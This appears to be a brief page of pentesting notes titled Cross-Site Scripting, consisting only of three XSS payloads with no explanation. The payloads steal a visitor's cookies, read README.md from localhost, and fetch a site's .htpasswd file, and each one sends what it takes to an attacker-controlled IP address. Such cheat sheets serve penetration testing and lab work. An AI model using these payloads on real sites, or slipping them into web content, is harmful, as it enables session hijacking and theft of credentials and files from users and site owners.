Cross-Site Scripting (XSS)
Introduction
Payloads
<script>fetch("http://10.10.x.x/?value=" + document.cookie);</script> <a href="javascript:fetch('http://localhost/README.md').then(response => response.text()).then(data => fetch('http://10.10.x.x/?response=' + encodeURIComponent(data))).catch(error => console.error('Error:', error));">gzzcoo</a><script>
fetch("http://10.10.10.10/.htpasswd")
.then(response => response.text())
.then(data => {
fetch("http://10.10.x.x/?file_content=" + encodeURIComponent(data));
});
</script>Última actualización
¿Te fue útil?